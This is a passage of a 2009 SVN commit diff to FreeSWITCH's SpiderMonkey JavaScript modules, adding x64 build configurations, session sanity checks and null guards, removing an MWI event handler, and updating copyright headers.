 static JSBool session_execute(JSContext * cx, JSObject * obj, uintN argc, jsval * argv, jsval * rval)
 {
 	JSBool retval = JS_FALSE;
@@ -2249,7 +2304,7 @@
 
 	METHOD_SANITY_CHECK();
 
-	if (switch_core_session_dequeue_event(jss->session, &event) == SWITCH_STATUS_SUCCESS) {
+	if (switch_core_session_dequeue_event(jss->session, &event, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
 		JSObject *Event;
 		struct event_obj *eo;
 
@@ -2599,6 +2654,7 @@
 	{"sendEvent", session_send_event, 0},
 	{"hangup", session_hangup, 0},
 	{"execute", session_execute, 0},
+	{"destroy", session_detach, 0},
 	{"sleep", session_sleep, 1},
 	{0}
 };
@@ -2853,6 +2909,14 @@
 	jss = JS_GetPrivate(cx, obj);
 	jss->cause = SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
 
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "This method is deprecated, please use new Session(\"<dial string>\", a_leg) \n");
+
+	if (jss->session) {
+		eval_some_js("~throw new Error(\"cannot call this method on an initialized session\");", cx, obj, rval);
+		return JS_FALSE;
+	}
+
 	if (argc > 1) {
 		JSObject *session_obj;
 		switch_core_session_t *session = NULL, *peer_session = NULL;
@@ -2876,7 +2940,19 @@
 
 		if (JS_ValueToObject(cx, argv[0], &session_obj)) {
 			struct js_session *old_jss = NULL;
-			if (session_obj && (old_jss = JS_GetPrivate(cx, session_obj)) && old_jss->session) {
+			if (session_obj && (old_jss = JS_GetPrivate(cx, session_obj))) {
+				
+				if (old_jss == jss) {
+					eval_some_js("~throw new Error(\"Supplied a_leg session is the same as our session\");", cx, obj, rval);
+					return JS_FALSE;
+					
+				};
+				
+				if (!old_jss->session) {
+					eval_some_js("~throw new Error(\"Supplied a_leg session is not initilaized!\");", cx, obj, rval);
+					return JS_FALSE;
+				}
+				
 				session = old_jss->session;
 				orig_caller_profile = switch_channel_get_caller_profile(switch_core_session_get_channel(session));
 				dialplan = orig_caller_profile->dialplan;
@@ -2888,6 +2964,7 @@
 				context = orig_caller_profile->context;
 				username = orig_caller_profile->username;
 			}
+
 		}
 
 		if (!switch_strlen_zero(jss->dialplan))
@@ -3655,27 +3732,6 @@
 	return SWITCH_STATUS_SUCCESS;
 }
 
-static void message_query_handler(switch_event_t *event)
-{
-	char *account = switch_event_get_header(event, "message-account");
-
-	if (account) {
-		char *path, *cmd;
-
-		path = switch_mprintf("%s%smwi.js", SWITCH_GLOBAL_dirs.script_dir, SWITCH_PATH_SEPARATOR);
-		switch_assert(path != NULL);
-
-		if (switch_file_exists(path, NULL) == SWITCH_STATUS_SUCCESS) {
-			cmd = switch_mprintf("%s %s", path, account);
-			switch_assert(cmd != NULL);
-			js_thread_launch(cmd);
-			switch_safe_free(cmd);
-		}
-
-		switch_safe_free(path);
-	}
-}
-
 SWITCH_MODULE_LOAD_FUNCTION(mod_spidermonkey_load)
 {
 	switch_application_interface_t *app_interface;
@@ -3685,12 +3741,6 @@
 		return status;
 	}
 
-	if (switch_event_bind_removable(modname, SWITCH_EVENT_MESSAGE_QUERY, SWITCH_EVENT_SUBCLASS_ANY, message_query_handler, NULL, &globals.node)
-		!= SWITCH_STATUS_SUCCESS) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
-		return SWITCH_STATUS_GENERR;
-	}
-
 	/* connect my internal structure to the blank pointer passed to me */
 	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
 	SWITCH_ADD_API(js_run_interface, "jsrun", "run a script", launch_async, "jsrun <script> [additional_vars [...]]");
@@ -3706,8 +3756,11 @@
 
 SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_spidermonkey_shutdown)
 {
+	// this causes a crash
+	//JS_DestroyRuntime(globals.rt);
+	
 	curl_global_cleanup();
-	switch_event_unbind(&globals.node);
+
 	switch_core_hash_destroy(&module_manager.mod_hash);
 	switch_core_hash_destroy(&module_manager.load_hash);
 	return SWITCH_STATUS_SUCCESS;

Modified: freeswitch/branches/seven/src/mod/languages/mod_spidermonkey/mod_spidermonkey.h (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_spidermonkey/mod_spidermonkey.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_spidermonkey/mod_spidermonkey.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_spidermonkey.h -- Javascript Module

Modified: freeswitch/branches/seven/src/mod/languages/mod_spidermonkey/sm.mak (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_spidermonkey/sm.mak	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_spidermonkey/sm.mak	2009-08-09 18:53:22 UTC (rev 14472)
@@ -3,7 +3,7 @@
 JSLA=$(JS_DIR)/libjs.la
 
 LOCAL_CFLAGS+=-I$(JS_DIR)/src -I$(JS_DIR)/nsprpub/dist/include/nspr  -DXP_UNIX -I../mod_spidermonkey  -DJS_THREADSAFE -DJS_HAS_FILE_OBJECT=1 -DJS_HAS_XML_SUPPORT=1
-LOCAL_LDFLAGS+=$(JS_DIR)/nsprpub/pr/src/libnspr4.*
+LOCAL_LDFLAGS_POST=$(JS_DIR)/nsprpub/pr/src/libnspr4.*
 LOCAL_LIBADD+=$(JSLA)
 
 include $(switch_srcdir)/build/modmake.rules

Property changes: freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_core_db


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_core_db/mod_spidermonkey_core_db.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_core_db/mod_spidermonkey_core_db.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_core_db/mod_spidermonkey_core_db.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -81,6 +84,73 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\winlibs.vsprops;..\..\..\..\w32\module_debug.vsprops;..\..\..\..\w32\spidermonkey.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine=""
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=""
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories=""
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\winlibs.vsprops;..\..\..\..\w32\module_release.vsprops;..\..\..\..\w32\spidermonkey.vsprops"
@@ -144,6 +214,73 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\winlibs.vsprops;..\..\..\..\w32\module_release.vsprops;..\..\..\..\w32\spidermonkey.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine=""
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=""
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories=""
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_core_db/mod_spidermonkey_core_db.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_core_db/mod_spidermonkey_core_db.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_core_db/mod_spidermonkey_core_db.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_spidermonkey_DB.c -- DB Javascript Module
@@ -214,12 +214,15 @@
 		return JS_TRUE;
 	}
 	for (x = 0; x < colcount; x++) {
-		switch_snprintf(code, sizeof(code), "~_dB_RoW_DaTa_[\"%s\"] = \"%s\"",
-						(char *) switch_core_db_column_name(dbo->stmt, x), (char *) switch_core_db_column_text(dbo->stmt, x));
-
-		eval_some_js(code, dbo->cx, dbo->obj, rval);
-		if (*rval == JS_FALSE) {
-			return JS_TRUE;
+		const char *var = (char *) switch_core_db_column_name(dbo->stmt, x);
+		const char *val = (char *) switch_core_db_column_text(dbo->stmt, x);
+		
+		if (var && val) {
+			switch_snprintf(code, sizeof(code), "~_dB_RoW_DaTa_[\"%s\"] = \"%s\"", var, val);
+			eval_some_js(code, dbo->cx, dbo->obj, rval);
+			if (*rval == JS_FALSE) {
+				return JS_TRUE;
+			}
 		}
 	}
 
@@ -332,7 +335,7 @@
 	/*.next */ NULL
 };
 
-SWITCH_MOD_DECLARE(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
+SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
 {
 	*module_interface = &DB_module_interface;
 	return SWITCH_STATUS_SUCCESS;

Property changes: freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_curl


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_curl/mod_spidermonkey_curl.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_curl/mod_spidermonkey_curl.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_curl/mod_spidermonkey_curl.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -81,6 +84,73 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\winlibs.vsprops;..\..\..\..\w32\module_debug.vsprops;..\..\..\..\w32\spidermonkey.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine=""
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=""
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories=""
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\winlibs.vsprops;..\..\..\..\w32\module_release.vsprops;..\..\..\..\w32\spidermonkey.vsprops"
@@ -144,6 +214,73 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\winlibs.vsprops;..\..\..\..\w32\module_release.vsprops;..\..\..\..\w32\spidermonkey.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine=""
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=""
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories=""
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_curl/mod_spidermonkey_curl.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_curl/mod_spidermonkey_curl.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_curl/mod_spidermonkey_curl.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_spidermonkey_teletone.c -- TeleTone Javascript Module
@@ -240,7 +240,7 @@
 	/*.next */ NULL
 };
 
-SWITCH_MOD_DECLARE(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
+SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
 {
 	curl_global_init(CURL_GLOBAL_ALL);
 	*module_interface = &curl_module_interface;

Property changes: freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_odbc


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_odbc/mod_spidermonkey_odbc.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_odbc/mod_spidermonkey_odbc.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_odbc/mod_spidermonkey_odbc.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -81,6 +84,73 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\winlibs.vsprops;..\..\..\..\w32\module_debug.vsprops;..\..\..\..\w32\spidermonkey.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine=""
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=""
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories=""
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\winlibs.vsprops;..\..\..\..\w32\module_release.vsprops;..\..\..\..\w32\spidermonkey.vsprops"
@@ -149,6 +219,78 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\winlibs.vsprops;..\..\..\..\w32\module_release.vsprops;..\..\..\..\w32\spidermonkey.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine=""
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				WholeProgramOptimization="true"
+				AdditionalIncludeDirectories=""
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories=""
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				LinkTimeCodeGeneration="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_odbc/mod_spidermonkey_odbc.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_odbc/mod_spidermonkey_odbc.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_odbc/mod_spidermonkey_odbc.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,21 +17,31 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_spidermonkey_odbc.c -- ODBC Javascript Module
  *
  */
 #include "mod_spidermonkey.h"
-#include <switch_odbc.h>
 
+#include <sql.h>
+#ifdef _MSC_VER
+#pragma warning(push)
+#pragma warning(disable:4201)
+#include <sqlext.h>
+#pragma warning(pop)
+#else
+#include <sqlext.h>
+#endif
+#include <sqltypes.h>
+
 static const char modname[] = "ODBC";
 
 struct odbc_obj {
@@ -533,7 +543,7 @@
 	/*.next */ NULL
 };
 
-SWITCH_MOD_DECLARE(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
+SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
 {
 	*module_interface = &odbc_module_interface;
 	return SWITCH_STATUS_SUCCESS;

Modified: freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_skel/mod_spidermonkey_skel.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_skel/mod_spidermonkey_skel.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_skel/mod_spidermonkey_skel.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_spidermonkey_skel.c -- Skel Javascript Module

Property changes: freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_socket


Name: svn:ignore
   - mod_spidermonkey_socket.so
.libs
Debug
*.user
Release
*.pdb
debug
   + mod_spidermonkey_socket.so
.libs
Debug
*.user
Release
*.pdb
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_socket/mod_spidermonkey_socket.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_socket/mod_spidermonkey_socket.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_socket/mod_spidermonkey_socket.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -80,6 +83,72 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\winlibs.vsprops;..\..\..\..\w32\module_debug.vsprops;..\..\..\..\w32\spidermonkey.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=""
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories=""
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
